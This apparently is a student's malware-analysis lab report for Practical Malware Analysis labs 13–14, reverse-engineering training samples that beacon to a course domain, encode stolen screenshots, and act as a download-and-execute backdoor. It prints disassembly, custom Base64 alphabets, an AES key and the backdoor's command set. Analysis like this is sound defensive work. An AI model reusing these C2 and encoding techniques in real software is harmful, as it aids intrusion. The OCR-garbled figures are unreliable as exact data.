Oillylibg, - Lab1 3-01 exe - [£PU - main thread, madule Lab 3-01]

-

e BRI BT i)
i ot | PETIN t0 oL PO froe 1
¥ il anai—toc | [ b - HE e S

TR ERR

1

107



Malware Analysis

& https://www.baseb4decode.org

BASE64 st
the
Dect

de and Encode Bicen ol e

Decode from Base64 format

Simply use the form below

dXNicitmY2MyMWM4

< DECODE > UTF-8 ¥ (You may

user-fcc21cl

vi. Where is the Base64 function in the disassembly?
At address 0x004010B1.

vii. In this malware, would you ever see the padding characters (= or ==) in the Base64-
encoded data?

According to wiki. If the plain text is not divisible by 3, padding will present in the encoded
string.

viii. What does this malware do?
It keeps sending the computer name (max 12 bytes)

to http://www.practicalmalwareanalysis.com every 30 seconds until 0x6F is received as
the first character in the response.

b. Analyze the malware found in the file Lab13-02.exe

i. Using dynamic analysis, determine what this malware creates.

A file with size 6,214 KB is written on the same folder as the executable every few seconds.
The naming convention of the file is temp[8xhexadecimal]. The file created seems random.
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- Mame:
Lab13-01 eue Labl3-02. exe \Diafault
b WKonoenD s

e b Yindows
templ]1 1<l -
Lab]3-03 e |iEw F 1 '\Ed!!ﬂﬂ'ﬂ!ﬂh!ﬂf'. & 5 A
s R ‘\EaseN amedDbiectzhsclstion Signal Aegisty Event FDAAZ0TE-ES371
i \Easeh smadlbpclzhmpsicalback.
by LEaseh smadlbpclzhussieny. Uss Frolle selup evend
ﬂ ::rr_npﬁllr!lftﬁ [Fes | Fie HidIe W arel amedObectz cppl3ZLogol [Evert
B | 524 i AL, 14 KE \Basah amed0bjscty haidwaiemieicalback,

LD ocimerts and Setting:\adeiisialonDekion
WDeice' e
IR Jhe )y

=, Process Monilor - Sysinlernals: wwaw. sysinternals.com

File Edt Event Fiter Tools Optiors Help

FH | ARE | FTA4AS B A8 #HEBAoE
i Process Mame FD  Dpeation Fath

C ] HIZ ee 0aa WinleFis Diocuments and Set st stos D eskion’ BnanCollechon’ Chagtes 13 \empl 1c/23a
v L1 HI2 e 10ea eFiz oreertT olonresident

Figuré '1. Proc Mon

ii. Use static techniques such as an xor search, FindCrypt2, KANAL, and the IDA
Entropy Plugin to look for potential encoding. What do you find?

Only managed to find XOR instructions. Based on the search result, we would need to look
at the following subroutine

1. 0x0040128D
2. 0x00401570
3. 0x00401739

Address Function Instruction

teat: 00401040 sub_ 407000 HOP 3N, Eax

tent: 00401206 sub_40128D X eax, [ebp+var_10]
text: 004017 1F sub_ 401570 xor  eax, [esi+edx*4]
text: 00401 76F sub_401739 xor  edy, [ec
tet: 00401774 sub 401739 xor  edx, ecx

text: 00401785 sub 401739 xor  edx ecx
text:00401795 sub_401739 xor  eax, [edx+3]
et 004017 AT sub 401739 xor  eax, edx

tesct: 004017 4C sub_ 401739 xor  eax, edx

teat: 00401 7ED sub_ 401739 xor  ecx, [eax+10h]
et 004017 C9 sub 401739 XOr  Ecx, eax

text: 00401704 sub 401739 XOr  Ecx, eax
text:004017ES sub_401739 xor  edy, [ecx+18h]
et 004017F1 sub 401739 xor  edx ecx

At 0401 TRC sub_ 401739 xor  edy, ecx

teat: D040191E _main KOF B3N, Eax

text: 00403114 xor  dh, [eax]
text:0040311E xor  [eax], dh

text: 00403638 XOr  BCK, ecx

et 00403645 xor  edy, edx
Figure 2. XOR

iii. Based on your answer to question 1, which imported function would be a good
prospect for finding the encoding functions?

WriteFile. Trace up from WriteFile and we might locate the function responsible for
encoding the contents.
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iv. Where is the encoding function in the disassembly?

Malware Analysis

The encoding function is @0x0040181F. Tracing up from WriteFile, you will come across
a function @0x0040181F. The function calls another subroutine(0x00401739) that performs
the XOR operations and some shifting operations.

push
mov
sub
mou
mou
lea
push
lea
push
call
add
mou
push
mou
push
call
add
call
mou
mou
push
push
lea
push
call
add
lea
push
mou
push
mnuy

; Attributes: bp-based frame
sub_ 48185%1 proc near

FileHame= byte ptr -28Ch

hiem= dword ptr -8Ch
nHumber0fBytesToWrite= dword ptr -8
var_4= dword ptr -4

ebp

ebp, esp

esp, 28Ch

[ebp+hHem], 8
[ebp+nHumberDfBytesTolrite], 8
eax, [ebp+nHumberOfBytesToWrite]
eax

ecx, [ebp+hHem]

ecx

Gethata ; Steal Data
esp, 8

edx, [ebp+nHumber0fBytesToWrite]
edx

eax, [ebp+hiem]

eax

encode ; Encode Data
esp, 8

ds:GetTickCount

[ebp+var_ 4], eax

ec®, [ebp+var_ 4]

ecx

offset aTempB8x ; “tempiogx”
edx, [ebpt+FileHame]

edx ; char =

_sprintf

esp, BCh

eax, [ebp+FileHame]

eax ; 1pFileHame

ec®, [ebp+nHumber0fBytesToWrite]

BPCX ; nHumberDfBytesTolWrite

prx . ehn+hHeml

Figure 3. encode

v. Trace from the encoding function to the source of the encoded content. What is the

content?

Based on the subroutine @0x00401070. The malware is taking a screenshot of the desktop.

GetDesktopWindow: Retrieves a handle to the desktop window. The desktop window covers

the entire screen. The desktop window is the area on top of which other windows are painted.
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GetDC: The GetDC function retrieves a handle to a device context (DC) for the client area
of a specified window or for the entire screen. You can use the returned handle in subsequent
GDI functions to draw in the DC. The device context is an opaque data structure, whose
values are used internally by GDI.

CreateCompatibleDC: The CreateCompatibleDC function creates a memory device context
(DC) compatible with the specified device.

CreateCompatibleBitmap: The CreateCompatibleBitmap function creates a bitmap
compatible with the device that is associated with the specified device context.

BitBIt: The BitBIt function performs a bit-block transfer of the color data corresponding to a
rectangle of pixels from the specified source device context into a destination device context.

mou [ebpe+hdc], @
push a  nindex
call ds:GetsSystemMetrics

mow [ebpevar_ 1C], eax

push 1  nindex
call ds:GetsSystemMetrics

mow [ebpecy], eax

call ds:GetlesktopWindow

mow hind, eax

mow eax, hind

push eax 5 hind
call ds zGetDC

Mo hiG, eax

mow ecx, hDC

push ecH ; hdc
call ds:CreateCompatibleDi
mow [ebpehdc], eax

mow edx, [ebp+cy]

push edx ; cy

mow eax, [ebp+var_1LC]

push eax ; Cx

mow ecx, hDC

push ecH s hdc
call ds:CreateCompatibleBitmap
mow [ebp+h], eax

mow ed:, [ebp+h]

push edx s h

mow eax, [ebp+hdc]

push eax 5 hdc
call ds:Selectibject

push BCCO020h : rop
push ] HTh |
push ] ; x1

mow ecx, hDCG

push ecH s hdcsSrc
mowy edx, [ebp+cy]

push edx : cy

mow eax, [ebp+var_ 1G]

push eax ; CX
push ] H]

push ] o]

mow ecx, [ebp+hdc]

push ecH s hdc
call ds:BitBl1t

lea edx, [ebp+pu]

push edx : pw
push 18h SHIE

mou eax, [ebp+h]

push eax s h

call ds:Gertdbjecth

e Faobun s boomd hmd Un wlmes Bi €4 201 Nok

Figure 4. Screenshot

vi. Can you find the algorithm used for encoding? If not, how can you decode the
content?

The encoder used is pretty lengthy to go through, However if we look at the codes in

0x401739, we can see lots of xor operations. If it is xor encoding we might be able to get
back the original data if we call this subroutine again with the encrypted data.

111



Malware Analysis

S text-Io00LO1FIO o pProc nears : CODE XREF: encode=Z2&1p

S LEexT-00HO1FIS o — dword pte —
S CexTt-00HO1FIS arg_ o — dword pte =

S LexT - 00O 1FIS arg 4 — dword pte acn

S Ctext-004801F39 arg 8 = dword pte 1 on

S CexT - 00O 1FIO arg G — dword pte A sn

S text-00N01FIO

S text-00N01FIS pusn e

S text-00NO1FIA o ebp . esp

S text - 00N01FIC push ecx

Stext-00N01FID o Lebp=uar_2]. @

Stext - 00801 F i Fmp Short 1oc_ 2617 aF

S EEeXT - @OLMaIFES I - —————————
Stext - 0048017 B

S EEeXT-00HO1FAEG Loc_ 8017 a6 = z CODE XREF: =or=DDJ4
_text-004017FLE o U eax. [ebpsuar_ 4]

Stext - 0048017 ae aaa eax. 1On

Stext - 0048017 80 o Lebpeuar__ 2] . eax

Stext - 0048017 BF

S EEeXxT - 0040 1FAEF Loc_ 8017 aF - : CODE XREF: =or=-8T3j

ecx . CLebp=uvar ]

The above codes simply scan the path in which the executable resides in for encoded files
that start with “temp*. It then reads the file and pass the data to the encoding function
@0x40181F. Once the data is decoded, we make use of the function @0x401000 to write out
the file to “DECODED _[encoded file name].bmp*. Last but not least i shall delete the
encoded file so as not to clutter the folder

c. Analyze the malware found in the file Labl3-03.exe.

i. Compare the output of strings with the information available via dynamic analysis.
Based on this comparison, which elements might be encoded?

Based on Wireshark and program response we could see the following strings.

http://www.practicalmalwareanalysis.com

In IDA Pro we can see the domain host name and some possible debug messages.

i

P P O P R S T A O D < el I T it o 5T e vy O] 2 385 ST
=

ARAAACAAAANAANARANANAAARAAIANAANANANN o

ii. Use static analysis to look for potential encoding by searching for the string xor.
What type of encoding do you find?
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There are quite a lot of xor operations to go through. But based on the figure below, it is
highly possible that AES is being used; The Advanced Encryption Standard (AES) is also
known as Rijndae.

e O0402EB3F sub_4027ED 33 14 85 08 E3 40 00 wor eds ds:Rijndael_Td2[eax"4]
et D0A02ANE sub_4027ED 33 14 85 08 E3 40 00 wor  edx dsRijndaci_Td2[eax"4]
et (0402587 sub_a02234 23 14 8508 D3 40 00 xor edx, ds:Rigndael_TeZleax™a]
e 00402496 sub_40223A 33 14 85 08 D3 40 00 wor  edx ds:Rijndael_Te2[eax~4]
Aext:D0A02BG2 sub_4027ED 33 11 xor  edx, [ecx]

Stext: 00402200 sub_a402234 23 n =0T eche, [ecx]

Stex:00402A6S sub_402TED EER D] wxor  edx, [eax]

et 00A0ZABO sub_a02238 33 10 wxor  edk [eax]

et 00402 TFE sulb_401AC2 33 OC 95 OB F3 40 00O wor ecx, dszdword_40F308{edx™4]
Srex:004033A2 sulb_403166 33 OC 95 08 E7 40 00 xor  ecx dsRijndac_Td3[edw 4]
Stext: 00403321 sub_403166 33 OC 95 08 E3 40 00 wor  ecx ds:Rijndael_Td2[edx"a]
Aext:00402AF0 sub_4027ED 33 O0C 95 0B EZ 40 OO xar ecx, ds:Rijndael_Td2[edx=4]
tes:00203350 sub_4031656 33 OC 95 DB DF 20 00 xor  ecx, dsRijndael_Td1ledx 4]
Stext: O0402FET sub_402DA2 33 0C 9508 D7 40 00 =oT ecx, ds:Rijndaecl_TeFledx=4]
et 00S02FCO sub_402DAS 33 0C 95 08 D3 40 00 wor  ecx ds:Rijndael_Te2[edx 4]
Ment:D0A02S3IB sulb_40223A 33 OC 95 D8 D3 40 00 xor  ecx, dsRindael_TeZledx*a]
Meat: 00A02FOC sub_402DA3 23 0C 95 OB CF 2000 xoT ek ds:Rijndael_Telledx™a]
Mext:D04033BC sub_403 166 33 0C 90 wxor  ecx. [eax+edx™4]

et D0A0ZFFR sub_402DAS 33 0C 90 wor  ecx, [eaxsedcd]

e 00402205 sub_401AC2 23 0C 8508 F7 40 0O wor ecx, ds:dword_40FToSleauc4]
Rext:DOS02TES sub_401AC2 33 OC 85 0B EF 40 00 wor  ecx ds:dword_J0EFOBleax"4]
et DOA0ZAFF sub_A02TED 33 OC 85 08 E7 40 00 xor  ecx dsRijndael_Td3[eax*4]
Mtext:00402ADD sub_4027ED 33 OC 85 08 DF 40 00O woT ecx. ds:Rijndael_Td1[eax*4]
a2 000257 sulb_402238 33 OC 85 OB D7 40 00 wor  ecx, dsRijndael_Te3[eax=a]
ex2:00402525 sub_402338 33 OC 85 OB CF 40 00 xor  ecx deRijndael_Tel[eax"a]
AexnD0402AAF sub_402TED 33 049508 E7T 40 0O wor eax dszRijndael_Td3ledx=4]
AextDOS0ZABC sulb_J4027ED 33 D4 95 OB DF 40 00 xor  eax, dsRijndael_Tdl[edx al
eat: O0S024AFT sub_ 402234 33 04 9508 D7 40 00 wor dael_Te3ledx"4]
Aext 00402404 sub_402234 33 04 9508 CF 40 00 wor eax. dszRijndael_Telledx"4]
et DOA0ZAGE sub_402TED 33 04 8D DB E3 40 00 wor  eax dsRijndael_TdZ[ecx 4]
text:004024ET sub_40223A 33 04 8D OB D3 40 00 =or eax, ds:Rijndael_TeZ[ecx™4]
et 0008 TAE 32 30 =T o, [easx]

et 00A03IFES sub_a03990 32 11 xor  di, [ecx]

Jext: 00408752 30 30 mor [eaxl dh

iii. Use static tools like FindCrypt2, KANAL, and the IDA Entropy Plugin to identify
any other encoding mechanisms. How do these findings compare with the XOR
findings?

Most likely AES is being used in the malware.

%) KANAL v2.92 - *

File [D:\Practical Malware Analysis\Practical Malwa

SR RIINDAEL [S] [char] :: D000CI08 :: 0040C308
: - Referenced at 00401E9S
- Referenced at 004025F1
i.. Referenced at 0040208F
i -- Unfiltzred references...
Bl RIJNDAEL [S-inv] [char] :: D0DOCAQS :: D040CADS
i Referenced at 00402BAC 1
i Referenced at 00403456
- Unfiltered references...

| About J I Expart.. I | Close ]

RIINDAEL {AES): SBOX (also used in other ciphers),

Figure 5. PEID found AES

-

The initialdautoanalysis has been finished.

408CBO8: found const array Rijndael_Te® {(used in Rijndael)
40CFO8: found const array Rijndael_Te1 {(used in Rijndael)
40Dp308: found const array Rijndael_Te2 (used in Rijndael)
40D7088: found const array Rijndael_Te3 (used in Rijndael)
40DBO8: found const array Rijndael_Td® {(used in Rijndael)
40DFO8: found const array Rijndael_Td1 {(used in Rijndael)
40E308: found const array Rijndael_Td2 (used in Rijndael)
40E708: found const array Rijndael_Td3 {(used in Rijndael)

Found 8 known constant arrays in total.|

Figure 6. Find Crypt 2 Plugin Found AES
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iv. Which two encoding techniques are used in this malware?

@0x4120A4 we can see a 65 characters string. Which seems like a custom base64 key. The
standard base64 key should be

“ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijklmnopqrstuvwxyz0123456789+/="
which consists of A-Z, a-z, 0-9, +, / and =.

LB LSS 00 i w

datazBEy1ZBA3 0@ dib H

l' AINBNIZPAL b3 Bh NS N6 47 48 W9 wAvaCdefghd jklenop db I:DEFGH]JHLHHDPDRSIUUIM\'ZMJ:UEfuhi1lc1rlnn|:-m 5tuuukl,lzahﬂ12345ti’3!'+.-' M
D12 BaL 4B BC D LE 4F 5@ 51 52+ : DATA XREF: basedd

Flgure 7. Custom Base64

A custom Base64 and AES are used in this malware.

v. For each encoding technique, what is the key?

The custom base64 string uses
“CDEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/

” To test if this key is valid 1 used a online custom base64 tool to verify.

Online Tool: https://www.malwaretracker.com/decoder_base64.php

Using the above tool with the custom key, I encoded HELLOWORLD and pass it to the
program via netcat to decode. True enough, the encoded text was decoded back to the
original text.

Figure 8. Base64 decode

Based on some debug message, this function (0x00401AC2) seems to be initializing the AES
key.

x-ref the function and locate the 2nd argument... the key is most likely to be
“ijklmnopqrstuvwx®.

SLEELIMESEIBIL 51 EL HL HI HE @9 »uy Esp,  THLD

Jtexbipay@iaa2 60 10 push 16 i int

Stext:aaya18an 4n 18 push 16 ; int

text:BBLB1886 48 Th 33 41 BA push offset unk_ 413378 ; woid =

Jtext:AOup1AEE 68 OB 22 41 Q@ push offset aljklmnopgrstuv ; “ijklmnopgestuve
Jtextippypia?n B9 FR 2E 41 B0 noy ecK, oFfFset unk_B12EFR

Jtext:AA4A1E95 EB 28 62 88 8@ call keyinit

Frnuk-nnhfAddnAa ohh OC 7R CC CC CC Tn= L ET* FTabhaokiTanhak <1

Figure 10. Key pass in as 2nd argument
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Practical No. 8

a. Analyze the malware found in file Labl4-01.exe. This program is not harmful
to your system.

i. Which networking libraries does the malware use, and what are their advantages?

The networking library used is urlmon’s URLDownlaodToCacheFileA.

Address Ordinal Name Library
v 00405088 URLDownloadToCacheFiled urimon
¥Z] 0040500C Sleep KERMEL32
|‘=°_-T'IL| 00205010 CreateProcessA KERMEL32
=1 MOANENT A EluchEilall dfare ¥EOMEI 27

Figure 1. urlmon’s URLDownlaodToCacheFileA

The advantage of using this api call is that the http packets being sent looks like a typical
packet from the victim’s browser.

! Follow TCP Stream

Skream Conkenkt

[GET AODAGMMOEN]EGNZIENT kENMY TOWRT awSpo3Ry Y RYCgaa, a. png HTTRAL. 1

A it

Accept-Encoding: gl;zip, deflate

User-agent: Mozillasd.0 (compatible; MSIE 7.0; wWindows WT 5.1; Trident/4.00
Host: www.practicalmalwareanalysis. com

Connection: Keep-aliwve

(NG o ol s i e YA

Figure 2. User-Agent

ii. What source elements are used to construct the networking beacon, and what
conditions would cause the beacon to change?

From the figure below, we can observe that the networking beacon is constructed from a
partial GUID(19h to 24h) via GetCurrentH WProfileA and username via GetUserNameA.

Based on MSDN, szHwProfileGuid is a globally unique identifier (GUID) string for the
current hardware profile. The string returned by GetCurrentHwProfile encloses the GUID
in curly braces, {}; for example: {12340001-4980-1920-6788-123456789012}.

Therefore on different machine, the GUID should be different which infers that the beacon
will change. On top of that, another variable used is the username therefore different users
logging in to the same infected machine will generate a different beacon as well.
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Figure 3. GUID & Username

iii. Why might the information embedded in the networking beacon be of interest to the

attacker?

add esp, BCh
lea ecy, [ebp+HuProfilelnfo]
push ecy ; lpHwProfilelInfo
call ds:GetCurrentHuProfiled
S % edx, [ebp+HuProfilelnfo.szHuProfileGuid+24h]
push edx
S % eax, [ebp+HuProfilelnfo.szHuProfileGuid+23h]
push eax
S % ec¥, [ebp+HuProfilelnfo.szHuProfileGuid+22h]
push BCX
S % edx, [ebp+HuProfilelnfo.szHuProfileGuid+21h]
push edx
S % eax, [ebp+HuProfilelnfo.szHuProfileGuid+2@h]
push eax
MiuE % ec¥, [ebp+HuProfilelnfo.szHwProfileGuid+1Fh]
push BCX
MiuS % edx, [ebp+HuProfilelnfo.szHuwProfileGuid+1Eh]
push edx
MiuS R eax, [ebp+HuProfilelnfo.szHuwProfileGuid+1Dh]
push eax
MiuS R eck, [ebp+rHuProfilelnfo.szHuProfileGuid+1Ch]
push BCX
miuS R edx, [ebp+rHuProfilelnfo.szHwProfileGuid+1Bh]
push edx
miuS R eax, [ebprHuProfilelnfo.szHuProfileGuid+1ah]
push eax
miusR ecx, [ebprHuProfilelnfo.szHuProfileGuid+19h]
push BCX
push offFset aCCLCCCCCCCCC ; "%cko :%cic t%cic %cko :%cko jZckce™
lea edx, [ebprvar_ 10 98]
push edx : char =
call sprintf
add esp, 38h
mow [ebprpcbBuffer], 7FFFh
lea eax, [ebprpcbBuffer]
push eax ; pcbBuffer
lea ecx, [ebprBuffer]
push BCX ; lpBuffer
call ds :GetlserHamen
test BdX, Bax
inz short loc H@1350
e
loc_ 4B135C:
lea edx, [ebp+Buffer]
push edx
lea eax, [ebp+var 10098]
push eax
push oFfFset ass : GUID-USERHAHE
lea ecx, [ebp+var 18168]
push BCH : char *
call sprintf

So that the attacker can have a unique id to keep track of the infected machines and users.

iv. Does the malware use standard Base64 encoding? If not, how is the encoding

unusual?

Yes except that the padding used is different.
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wor BON, ECE

i el, [wamei]
and eca, FR
sar X, b
ar edu, eox
i wax, [#epearg u)
Ry cl, byte pbr dsiafbodefghljulenfedu] ; “ABCHEFCH] JCLHHOPORS TUUKRY Zabodefghd |
s [ra==1], €1
CRp [ebpeary %], 1
fle shart lec_WINOTR
L | T
= =
oy e, [ebprarg @)
wor BaK, E3E Loc_&E107E:
L al, [edzvu] i #hgevar W], ‘a’
and eaK, #Fh
whi wax, #
v ccK, [ebprarg 6]
i e, ez
L dl, [ecu+2]
ann Bx, BEEH
Sar e, 6
o eax, edg
WEUEX  Rax, bYte prr ds:JADcdeFeE JELmR[eax] ;. CABCOEFGH LKL PEOPQES TORMLYZaboaeFghl IR . ..
mow [ebpsuar_a], eax
g short loc adnsEl
L
(1 ]
"
Toc_n@nant:
ROU voH, [ebpearg %]
nou dl, hyte ptr [ehpessr 4]
RO [ecx+2], dl
CRp [ebp+arg_B], 2
jli short loc &oDad
¥ ¥
s =
eax, [ebpearg 0] |
#Ex, FEX loc_W@I@ans:
€l, [eamsE] | oy [ebp+uar 81, "3
x, Wh
wix, Bybe pbr ds:afbcdefghijHlenfecs] ; “SSCREFCH]JKLHHOPORS TUUWEY2abode Fhd s
[ebp=war_E], edx
shart Lec Wi184E

Figure 4.padding ‘a’ is used instead of =

To prove that let’s try it using ollydbg. Set breakpoint @0x004013A2 and we can step
through the base64 algo in action. In my test experiment i used AA:AA:AA:AA:AA:AA-
AAAAAAAAAAAAA to let it encode. By right the standard base64 should give me the
following results.

Encode to Baseb4 format
Simply use the form below

AAAA AN AN AN AA-AAAALAAABALAA

= ENCODE < UTF-8 ¥ (You may also select output charset.)

QUEBQUEGQUEBQUEBQUESQUEIQUFBQUFBQUFBQUFBQQ==

Figure 5.
Encoding AA:AA:AA:AA:AA:AA-AAAAAAAAAA

However we got back QUE6QUE6QUE6QUE6QUE6QUEtQUFBQUFBQUFBQUFBQQaa
instead. Which further reinforced what we have seen earlier in IDA Pro where ‘a’ is used
instead of ‘=" for padding.
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Dibglibg - Lab14-01,mum - [(PL - mais thread, madule Lab14-01]
[E] fie Wew Cebug Optom Wedow Hel

Liiz

T
31 et
e

AL AL a &1 4
TR H A

Figure 6. Encoding in ollydbg

v. What is the overall purpose of this malware?

The malware attempts to download file from the c2 server and executes it every 60 seconds.

[ Download from

http:/fwwrw. practicalmalwareanalysis.com/s/%c.png

o '—| Execute Downloaded File

Figure 7. Download and execute

b. Analyze the malware found in file Lab14-02.exe. This malware has been
configured to beacon to a hard-coded loopback address in order to prevent
it from harming your system, but imagine that it is a hard-coded external
address.

i. What are the advantages or disadvantages of coding malware to use direct IP
addresses?

Pro
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If the attacker’s IP were to be blocked, other same variant of malware that uses different IP

would not be affected.

Con

If the IP is blacklisted as malicious and blocked by the feds, the attacker would have lost
access to the malware. If the attacker were to use a domain name, he can easily just

redirect to another IP.

ii. Which networking libraries does this malware use? What are the advantages or

disadvantages of using these libraries?

Address Ordinal Mame

= 00402004 InternetCloseHandle
g| 00402002 InternetCpenlrls

FE| 0040200C InternetOpendt

InternetReadFile

%= 00Q020CC LoadStringa
D04020C0 SHChangeMotify
00402004 ShellExecuteExh
T 00402074 exit

Figure 2. WININET
WININET library is used by this malware.

Pro

Library
WINIMET
WINIMNET
WINIMET
WINIMNET
USER32
SHELL32
SHELL32
MSVCRT

Caching and cookies are automatically set by the OS. If cache are not cleared before re-
downloading of files, the malware could be getting a cached file instead of a new code that

needs to be downloaded.

Con

User agent need to be set by the malware author, usually the user agent is hard coded.

iii. What is the source of the URL that the malware uses for beaconing? What

advantages does this source offer?

The url is hidden in the string resource. Once a malware is compiled, the attacker would just
need to reset the resource to another ip without recompiling the malware. Also using a

resource make do without an additional config file.

iv. Which aspect of the HTTP protocol does the malware leverage to achieve its

objectives?

Threads are created by the malware. One to send data out in the user agent field after

encoding it using custom base64. The other to receive data.
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Figure 3. Read Data

=

WriteToHTTP

Sea

Il:on nefc I

1

1
asc_ 403 nGE I

Figure 4. Send Data

Read Data Thread uses a static user agent “Internet Surf” as shown below.

; int _ cdecl InternetRead(LPCS5TR lpszlrl})

InternetRead proc near

duHumber0fBytesihead= dword ptr -4
lpszlrl= dword ptr &

push
push
push
push
push
push
push
push
call
push
maw

mo

PCX
ehx

ebp

i}

i}

i}

i}

offset szAgent
ds:Internetipenn
i}

ebp, eax

» dwFlags

» lpszProxyBypass
; lpszProxy

» dwAccessType

= “"Imternet SurfE™

» dwContext

eax, [esp+1Bh+1lpszlrl]
Figure 5. Internet Surf User-agent

v. What kind of information is communicated in the malware’s initial beacon?
Setting a breakpoint @0x00401750, we will break before the malware attempts to send
packets out. Here you will see a custom base64 encoded data being package ready to send

out.
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Figure 6. Base64 encoded data

The decoded text is the cmd.exe prompt.

Malware Tracker o~

» scan PDF » scan document software tools blog

Custom alphabet base 64 decoder:

Use your own base 64 alphabet to encode or decode data. (Ixeshe malware beacons for example use a custom
base6t4 alphabet in the beacons. Find the alphabet by looking for a 65 byte string in the unpacked binary.)

Custom alphabet: WXYZlabcd3fghijko12e456T89ABCDEFGHIJKL+/MNOPOQRSTUVmnOpgrsty
Standard alphabet: ABCDEFGHIJKLMMNOPOQRSTUVWXY Zabcdefghijklmnopgrstuvwxyz0123456789+/=

Data
ebLJC+xnBq90daDMB+1TDrhGeaWGep9LC/iINBgsGiZsVgJdghsZXDZoMMo
mEKGogxUETINIgHOdZj Z4RhJWURZXIAGIMEBrTY 0GogxmCYsiYGOfonMNC
1bxJDEpLB/1 ndbaS9YXe9710A0L/CpVX9bpMNB+LnDe3HDbxm711LCQROBrX
Co+L5873togxUBbSJDLLTELVZAbaUDbOMTNIDeLs=

Decode | Encode

Results - Decode:
Microsoft Windows XP [Version 5.1_2600] -
(C) Copyright 1985-2001 Microsoft Corp
CADocuments and
Figrue 7. Decoded Base64

vi. What are some disadvantages in the design of this malware’s communication
channels?

1. Only outgoing traffic is encoded thus incoming commands are in plain for defender
to see
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2. The user agent used is hard coded for one of the thread which makes it easy to form a
signature to detect it.

3. The other user agent looks out of place and defender can spot it if he/she go through
the packet header.

vii. Is the malware’s encoding scheme standard?

No. We can see the custom base64 key in the following figure.

0ATAIUAEEINIE ; CRAr DYTE_Soiwig] |

data:@eeNE3Eo byte_ ez ab "W : DATA XREF: BRSEG4+saTe

data: 004803010 : BASEGL+BATy ...

data:apueaa11 aXyzlabcd3fghlj db "XYZlabcd3fghijko12es56789ABCDEFGHTJKL+ /MHOPORSTUYmN Bpgrstuvwsyz” @

data: 00403 A51 align & .
data:BBNB3RS N almd_exe db ‘cmd.exe” B ; DATA XRI WinMain{x ,®,x,x)+130T0 Flgure

8. Custom base64 key

c. This lab builds on Practical 8 a. Imagine that this malware is an attempt by the
attacker to improve his techniques. Analyze the malware found in file Lab14-03.exe.

i. What hard-coded elements are used in the initial beacon? What elements, if any,
would make a good signature?

From the figure below, we can see hard-coded user-agent and headers (Acccept, Accept-
Language, Accept-Encoding, and a unique UA-CPU field). All of these can be used as a
signature especially the UA-CPU field. It is also noted that the author pass the string “User-
Agent: xxx” into InternetOpenA API call. This results in User-Agent field being set to User-
Agent:User-Agent:xxx... A duplicate error in which we can used it to generate a good
signature too.

L8] SANLEIUSAD | LALAMASL UniL... LA mn
:l data:0040211C DDOOG032 hitp:/fwww.practicalmalwareanalysis.com/'start.him
E (data:0040810C  ODOODO0F C\autobat.exe
:l . C\\autobat.exe
fsl .
e

Accept: "/"\nAccept-Language: en-USnUA-CPL: xBB\nAccept-Encoding: gezip, deflate

data:004080FC  ODDODOOF
data:00408044  DDOODIJE
ata: 00408038 AR

M aNaEele

User-Agent: Mozilla/4.0 {compatible: MSIE 7.0: Windows NT 5.1; \NET CLR 3.0.4506.2152 .NET ..

Figure 1. HTTP Headers
ii. What elements of the initial beacon may not be conducive to a longlasting signature?

In the subroutine @0x401457, we can see that the url
“http://www.practicalmalwareanalsysis.com/start.htm” is being set as the beacon
destination. However that is provided that “c:\\autobat.exe” does not exists, if it exists, the
contents will be read and parsed as the beacon destination instead.

Using “http://www.practicalmalwareanalsysis.com/start.htm” as a signature might not be
a good idea since an attacker might be able to change the beacon destination.
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i int
sub_ugThs?

decl sus_MINSI(LPUOID

pren

LpRuker, Lnt

)
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TIITET

EETLETSES

OFFSET aRTTpWW_practi
narz
4

iii. How does the malware obtain commands? What example from the chapter used a
similar methodology? What are the advantages of this technique?

The malware scan the response for a <noscript> tag. The text after the tag is the command to
execute. The advantage of using this technique is that it is hiding the commands in plain
sight that blends in the returned html page. Therefore making detection hard for defender.

-text:-004010008
-text:-a984a81 881
-text:-004L01003
-text:-00401 009
-text:-a84L8188C
-text:-oaL01008F
-text:-00401012
-text:-a8481815
-text:-084L40181%9
-text:-9840101C
-text:-aa4L01822
-text:-004010825
-text:-00401028
-text:-084L081828
-text:-006401831
-text-0804018348
-text:-004L01038
-text:-00401038
-text:-a84a1 8481
-text:-004L01 844
-text:-00401 048
-text:-a8481 848

Figure 3. <noscript>

push
mo
sub
mo
add
mou
mow
mou s
cmp
in=z
mou
mow s
cmp
ijn=
mow
mow s
Ccmp
in=
mo
[uT=TTE=—"4
cmp
inz

ebp
ebp.
esp, GDAh

eax, [ebprarg_a]
eax, 1
[ebp+arg_B87], eax
ecx, [ebpr+arg_a]
ed:=x, byte ptyr [ecx+87]
ek L3

loc_4a11481

eax, [ebp+arg_ @a]

ecxx, byte ptr [ea=x]
ecx, "n-

loc__La1141

ed=x, [ebp+arg_ @]

eax,., byte ptr [edx+%]
eax, "4i°"

loc_hoa11481

ecx, [ebprarg_8a]

ed=x, byte ptr [ecx+1]
ed=x, "oO°

loc L a11481

esp

iv. When the malware receives input, what checks are performed on the input to
determine whether it is a valid command? How does the attacker hide the list of
commands the malware is searching for?

Analyzing subroutine @00401000 & 0x00401684. The checks are as follows

1. starts with <noscript>

2. url exists after <noscript>
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3. url ends with “69"
4. commands must be in the form of /command/parameter

The attacker hides the commands by using only the first character to switch between
predefined commands. Therefore he can use different words to represent same command so
long as the first character matches in the switch.

v. What type of encoding is used for command arguments? How is it different from Base64,
and what advantages or disadvantages does it offer?

The malware divides the parameters by 2 characters. Each 2 characters are passed to atoi
function to convert it to integer. It then references the following string to get the exact
character it represents.

data:A0N07E0s OO 00 OO 0 aligm #
Jrdata: adk07 BhE : char aAbcdefghijklmn] ]
clata:@nsny B0E 2F 61 62 63 64 45 66 G7+afbcdefghijklnm db " fabcdefghi jklmnopgrstuvecyz BUFENS6TEP: . @

Figljre- 4. Decode string

Pro

It is a custom encoding technique thus not easily detected by existing tools
Con

It is pretty simple to reverse.

vi. What commands are available to this malware?

Command Description

d Download & Execute
n Exit

s Sleep

r Write autobat.exe

vii. What is the purpose of this malware?

The malware serves as a backdoor by downloading and execute new codes on the victim’s
machine via http request. It can also rewrite the config file “autobat.exe” to let it connect to a
different C2 Server.

viii. This chapter introduced the idea of targeting different areas of code with independent
signatures (where possible) in order to add resiliency to network indicators. What are some
distinct areas of code or configuration data that can be targeted by network signatures?

1. “http://www.practicalmalwareanalsysis.com/start.htm&#8221;

2. Any new url found in “c:\\autobat.exe”
3. Headers such as UA-CPU and User Agent (duplicated User-Agent)
4. http response contains <noscript>[url][69]

